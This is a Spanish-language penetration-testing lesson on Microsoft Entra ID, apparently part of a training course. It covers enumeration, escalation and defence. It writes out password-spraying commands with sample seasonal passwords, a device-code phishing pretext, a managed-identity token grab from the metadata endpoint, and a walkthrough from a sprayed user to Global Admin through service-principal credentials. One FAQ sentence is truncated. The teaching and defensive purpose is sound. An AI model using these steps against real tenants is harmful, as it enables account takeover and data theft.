Azure AD / Entra ID: enumeración, escalada y defensa

2026-11-06 · 10 min de lectura

Entra ID (antes Azure AD) es la identidad en la nube de Microsoft. Aprende a enumerar usuarios, grupos y aplicaciones, cómo escalar con Managed Identities y Service Principals, device code phishing y a defender con Conditional Access.

Entra ID (nombre comercial actual de Azure Active Directory, rebranding de 2023) es la base de identidad de Microsoft 365, Azure y de miles de aplicaciones SaaS integradas vía OAuth 2.0 / OIDC. Es el equivalente cloud de un Active Directory tradicional, pero con un modelo de permisos distinto, superficie de ataque única y un nivel de integración con la nube Microsoft que lo convierte en objetivo prioritario en cualquier pentest de empresa moderna. Si tu objetivo tiene Office 365, tiene Entra ID; si tiene Azure, tiene Entra ID.

Esta lección cubre las técnicas ofensivas y defensivas específicas de Entra ID en 2026: enumeración sin credenciales (anonymous user enum), escalada vía Managed Identities y Service Principals, device code phishing (variante potente sobre OAuth), abuso de administrative roles mal delegados, y la defensa clave de Entra: Conditional Access. Es el equivalente Microsoft de las lecciones anteriores sobre AD on-premise (Kerberoasting, DCSync, delegation) pero con el twist cloud: todo pasa por APIs públicas de Microsoft Graph.

Es la tercera lección del bloque cloud ampliado de la Tanda 5, después de WiFi y antes de GCP IAM.

Prueba solo contra tenants propios o autorizados. Enumerar un tenant ajeno sin permiso es acceso no autorizado. Las reglas de uso aceptable de Microsoft prohíben scanning no autorizado.

El modelo Entra ID#

Entra ID: usuarios, grupos, aplicaciones, service principals, managed identities, roles directorio y azure RBAC

Entra ID expone varios tipos de entidades:

Usuarios: cuentas humanas, con UPN ([email protected]).
Grupos: colecciones de usuarios para asignar permisos.
Dispositivos: equipos registrados (Azure AD joined, Hybrid joined).
Aplicaciones: App Registrations con client_id, usadas por OAuth/OIDC.
Service Principals: instancia de aplicación en el tenant (lo que recibe los permisos reales).
Managed Identities: service principals especiales atados a recursos Azure (VM, Function, etc.).

Dos sistemas de permisos distintos:

Directory roles / Entra ID roles: permisos sobre el directorio (Global Admin, User Admin, Application Admin, Privileged Role Admin).
Azure RBAC: permisos sobre recursos Azure (Reader, Contributor, Owner sobre subscriptions/resource groups/resources).

Un Global Admin de Entra ID no es automáticamente Owner de subscriptions Azure (la propiedad User Access Administrator lo requiere), pero puede elevarse: Elevate Access es un botón que concede root sobre todas las subscriptions.

Enumeración sin credenciales#

Antes de tener acceso, se puede enumerar bastante solo con conocer el dominio:

# ¿Existe el tenant?
curl https://login.microsoftonline.com/empresa.com/.well-known/openid-configuration

# Enumeración anónima de usuarios
# Herramienta: onedrive_user_enum
./onedrive_user_enum.py -d empresa.com -u users.txt

# O MSOLSpray (fuerza bruta de login)
Invoke-MSOLSpray -UserList users.txt -Password 'Winter2026!'

Microsoft tiene user enumeration parcial: los endpoints de login revelan si un usuario existe o no antes de pedir password (lo que permite enumerar por timing de respuestas). Microsoft ha mitigado algunas rutas pero no todas.

Herramientas específicas#

ROADtools (dirkjanm.io): suite completa, incluye roadrecon que exporta el directorio entero si tienes token.
AADInternals: PowerShell module con decenas de módulos ofensivos.
MicroBurst: equivalente de Pacu para Azure.
AzureHound: ingestor para BloodHound con edges Azure.
Stormspotter: audit defensivo.
PowerZure: operaciones post-exploit.

Password spraying#

Técnica #1 contra Entra ID. En vez de brute force de un usuario (bloqueado por account lockout), probar una password común contra muchos usuarios:

Invoke-MSOLSpray -UserList users.txt -Password 'Hiver2026!' -Sleep 300

Passwords típicas que funcionan: estaciones (Verano2026!), nombre empresa + año, Welcome1!, patrones derivados del nombre del empleado. Tasa de éxito en empresas sin MFA: 10-30% al principio.

Password protection de Microsoft bloquea las 1000 passwords más comunes; passwords «creativas» pero predecibles siguen pasando.

Device code phishing#

Técnica moderna específica de OAuth device flow. El atacante:

Inicia un device authorization flow en nombre de la aplicación que quiera (Microsoft Office, Azure CLI). Microsoft le devuelve user_code y verification_uri.
Envía al target por email/Teams/IM: «Para validar acceso, ve a aka.ms/devicelogin y mete el código ABC-DEF».
La víctima, pensando que es verificación interna de IT, va, introduce el código, autentica con su usuario normal (con MFA incluso).
Microsoft completa el flow → access_token + refresh_token quedan en manos del atacante, no de la víctima.

El atacante ahora tiene credenciales válidas para hablar con APIs como la víctima. MFA fue completada por la víctima, pero el token quedó al atacante. Mitigación efectiva: Conditional Access que bloquee device flow desde fuera del entorno de confianza.

Service Principals y Managed Identities#

Cualquier aplicación registrada en Entra ID tiene un Service Principal con sus propios permisos. Si comprometes una aplicación (secreto filtrado, cert expuesto) tienes los permisos del SP asociado.

# Login como SP con client secret
$cred = New-Object PSCredential($clientId, (ConvertTo-SecureString $secret -AsPlainText -Force))
Connect-MgGraph -TenantId $tenant -ClientSecretCredential $cred
Get-MgDirectoryRole

Managed Identities son SPs atados a recursos Azure. Una VM con Managed Identity activa expone un endpoint local que entrega tokens:

# Desde dentro de la VM
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com" -H "Metadata: true"

Combinado con SSRF en una app corriendo en la VM, equivale al Capital One attack en AWS. Si la Managed Identity tiene permisos elevados en el tenant (Global Admin, Application Admin), tienes el tenant.

Administrative units y role abuse#

Entra ID tiene 80+ directory roles granulares. Delegaciones mal pensadas abren escaladas:

Application Administrator / Cloud Application Administrator: puede crear credenciales en cualquier Service Principal, incluido uno con Global Admin permissions.
User Administrator: puede reset passwords de otros admins no-Global.
Groups Administrator: añadir a grupo que tenga roles → escalada.
Privileged Authentication Administrator: puede quitar MFA de admins (menos Global).

Herramientas como BloodHound AzureHound mapean estas rutas de escalada.

Golden SAML#

Variante avanzada: si comprometes el Token Signing Certificate de AD Federation Services (ADFS) en híbrido on-prem, puedes forjar SAML tokens aceptados por Entra ID como cualquier usuario. Es el equivalente de Golden Ticket en el mundo federado. Attack usado en SolarWinds (2020).

Conditional Access: la defensa clave#

Conditional Access evalúa cada login contra reglas:

Device compliance (debe ser Intune managed).
Location (geolocalización, trusted IPs).
Risk level (detecta anomalías).
Application (bloquear apps legacy sin MFA).
Sign-in frequency.

Políticas bien configuradas bloquean la mayoría de ataques: password spray falla porque location no es trusted; device code phishing falla porque device no es compliant.

Problemas típicos: exceptions para break-glass accounts, aplicaciones legacy exentas, usuarios VIP sin policy. Cada exception es puerta.

Mitigación global#

MFA obligatorio en todos los accesos, especialmente admin.
Conditional Access con device compliance + location.
Privileged Identity Management (PIM): roles admin solo bajo demanda, con approval y time-limited.
Password Protection + banned password list customizada.
Security Defaults si no hay licencia para CA.
Identity Protection: detecta risky sign-ins automáticamente.
Separar admins de usuarios normales (cuentas dedicadas).
Monitor sign-in logs: Microsoft Sentinel, Defender for Identity, Log Analytics.

Walkthrough: de user comprometido a Global Admin#

Para fijar el patrón, un flujo típico en un pentest Entra ID.

Paso 1 — password spray contra lista de usuarios enumerada:

Invoke-MSOLSpray -UserList users.txt -Password 'Winter2026!'
# Un usuario cae: [email protected]

Paso 2 — enumeración con roadrecon:

roadrecon auth -u [email protected] -p 'Winter2026!'
roadrecon gather
roadrecon gui

Interfaz gráfica con todo el directorio exportado: usuarios, grupos, aplicaciones, roles.

Paso 3 — BloodHound Azure:

azurehound -u [email protected] -p 'Winter2026!' -t tenant.onmicrosoft.com list

Importa en BloodHound. Query «Shortest Path to Global Admin from Luis».

Paso 4 — ruta detectada: Luis es miembro de grupo AppDevs. AppDevs tiene role Application Administrator. Un App Administrator puede añadir credencial a cualquier Service Principal, incluido uno con Global Admin.

Paso 5 — identificar SP con Global Admin:

Get-MgDirectoryRoleMember -DirectoryRoleId <global-admin-role-id>
# Devuelve usuarios + SPs con el role

Paso 6 — añadir credencial al SP:

Add-MgApplicationPassword -ApplicationId <id-sp> -PasswordCredential @{DisplayName="pentest"}
# Devuelve nuevo secret

Paso 7 — login como SP con Global Admin:

$cred = New-Object PSCredential($clientId, (ConvertTo-SecureString $secret -AsPlainText -Force))
Connect-MgGraph -TenantId <tenant> -ClientSecretCredential $cred
Get-MgUser  # Acceso completo

Game over del tenant. Mitigación: PIM + eliminar grupos con App Administrator estático.

Casos notables#

SolarWinds (2020): Golden SAML + abuso de Azure AD. Tokens forjados para acceder a correos de altos cargos USG.
Midnight Blizzard vs Microsoft (2024): password spray + abuso de aplicación OAuth con permisos excesivos. Exfiltración de correos corporativos de Microsoft durante meses.
Storm-0558 (2023): compromiso de signing key MSA + token forgery → acceso a correos gubernamentales.

Los tres casos muestran que incluso Microsoft mismo cae en estos patrones si los controles de identidad fallan. La defensa requiere monitorización continua, no solo configuración inicial.

Errores comunes#

Global Admin a cuentas de servicio «porque es más fácil».
Service Principal secrets en código, repos, archivos de config.
Managed Identities con roles amplios que no se necesitan.
Conditional Access con exceptions permanentes.
No monitorizar admin consent events.
Sincronización híbrida sin filtrar admin accounts críticos.

Preguntas frecuentes#

¿Entra ID y AD tradicional se relacionan?#

Vía Entra Connect (antes Azure AD Connect). Sincroniza objetos AD on-prem al cloud. Un compromiso del server que corre Entra C de ambos directorios.

¿Device Code phishing funciona si hay MFA?#

Sí, porque la víctima completa MFA pensando que es verificación interna. El token queda al atacante igualmente. Conditional Access que detecte device no-compliant es la defensa.

¿Qué pasa con las Passkeys en Entra ID?#

Microsoft las soporta desde 2024. Passkeys atan autenticación al dominio real → bloquean phishing y device code phishing igual que FIDO2. Es la tendencia para admins y usuarios críticos.

¿Diferencias con AD on-prem al pentest?#

Entra no tiene Kerberos (es OAuth/OIDC). No hay DCSync equivalente directo. No hay LSASS en el DC a dumpear. Pero hay Golden SAML, token theft, device code phishing, service principal abuse, que son únicos de cloud.

¿Dónde practico?#

El laboratorio token-forge de whoami-labs incluye un tenant simulado con password spray, device code phishing, abuse de Service Principals con permisos olvidados, y la variante con Conditional Access que bloquea todo. Practicas detectar y defender.

¿Qué pasa con Multi-Tenant apps?#

Aplicaciones multi-tenant (consentibles por cualquier tenant) son un vector específico: si una app maliciosa pide consent de Global Admin y alguien lo aprueba por error, la app obtiene permisos permanentes al tenant. En 2024 Microsoft limitó qué apps pueden ser publicadas como multi-tenant y aumentó avisos de consent para admins.

¿Cómo monitorizar tokens robados?#

Continuous Access Evaluation (CAE): Microsoft invalida tokens cuando detecta eventos críticos (cambio de password, deshabilitación). Token Protection liga token a device específico. Risk-based Conditional Access detecta uso anómalo. Combinados mitigan la ventana de utilidad del token robado.

¿Qué es Microsoft Graph y por qué importa?#

Es la API unificada de Microsoft 365: usuarios, correos, OneDrive, SharePoint, Teams. Cualquier operación de post-exploit en M365 pasa por Graph. Dominar Microsoft.Graph PowerShell module es imprescindible para cualquier pentester de Entra.

Resumen#

Entra ID (Azure AD): identidad cloud de Microsoft. Base de M365 y Azure.
Modelos de permisos: Directory roles (sobre directorio) y Azure RBAC (sobre recursos).
Técnicas: user enum anónima, password spray, device code phishing, Service Principal abuse, Managed Identity theft, Golden SAML.
Herramientas: ROADtools, AADInternals, MicroBurst, AzureHound, BloodHound.
Defensa: MFA + Conditional Access + PIM + Identity Protection + passkeys.
Casos famosos: SolarWinds 2020 (Golden SAML), multiple incidents con Managed Identity abuse.